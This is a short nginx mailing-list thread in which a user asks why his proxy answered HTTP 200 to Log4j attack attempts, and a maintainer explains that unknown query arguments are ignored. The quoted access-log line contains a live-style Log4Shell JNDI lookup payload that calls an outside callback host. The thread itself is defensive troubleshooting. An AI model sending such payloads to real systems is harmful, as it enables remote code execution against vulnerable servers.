Help request about Log4j attack attempts and NGINX logs meaning

[Mauro Tridici]

Helo Maxim,

thank you very much for the explanation.
In your opinion, is this the case to “fix” this behaviour (but I don’t know how, I’m a newbie, sorry)  or I should simply ignore it?

Many thanks again,
Mauro

> On 29 Dec 2021, at 19:29, Maxim Dounin <mdounin at mdounin.ru> wrote:
> 
> Hello!
> 
> On Wed, Dec 29, 2021 at 03:55:35PM +0100, Mauro Tridici wrote:
> 
>> I have an old instance of NGINX (v.1.10.1) running as proxy 
>> server on a dedicated hardware platform.
>> Since the proxy service is reachable from internet, it is 
>> constantly exposed to cyber attacks.
>> In my particular case, it is attacked by a lot of Log4j attack 
>> attempts from several malicious IPs.
>> 
>> At this moment, an host intrusion detection system (HIDS) is 
>> running and is protecting the NGINX server: it seems it is 
>> blocking every malicious attack attempts.
>> Anyway, during the last attack mail notification sent by the 
>> HIDS, I noticed that the NGINX server response was “HTTP/1.1 
>> 200” and I’m very worried about it.
>> Log4j and Java packages are NOT installed on the NGINX server 
>> and all the servers behind the proxy are not using Log4j.
>> 
>> Could you please help me to understand the reason why the NGINX 
>> server answer was “HTTP/1.1 200”!?
>> 
>> You can see below the mail notification I received:
>> 
>> 
>> Attack Notification.
>> 2021 Dec 28 20:45:59
>> 
>> Received From: “hidden_NGINX_server_IP” 
>>> /var/log/nginx/access.log
>> Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt 
>> detected."
>> Src IP: 166.137.252.110
>> Portion of the log(s):
>> 
>> 166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET 
>> /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP 
>> <ldap://%E2%80%9Chidden_server_IP>".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a 
>> <ldap://193.204.199.214.c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a>} 
>> HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
> 
> As you can see from the log line, the request is to "/" with some 
> additional request arguments ("?sulgz=...").  As unknown request 
> arguments are usually ignored, it is no surprise that such a 
> request results in 200.
> 
> -- 
> Maxim Dounin
> http://mdounin.ru/
> _______________________________________________
> nginx mailing list
> nginx at nginx.org
> http://mailman.nginx.org/mailman/listinfo/nginx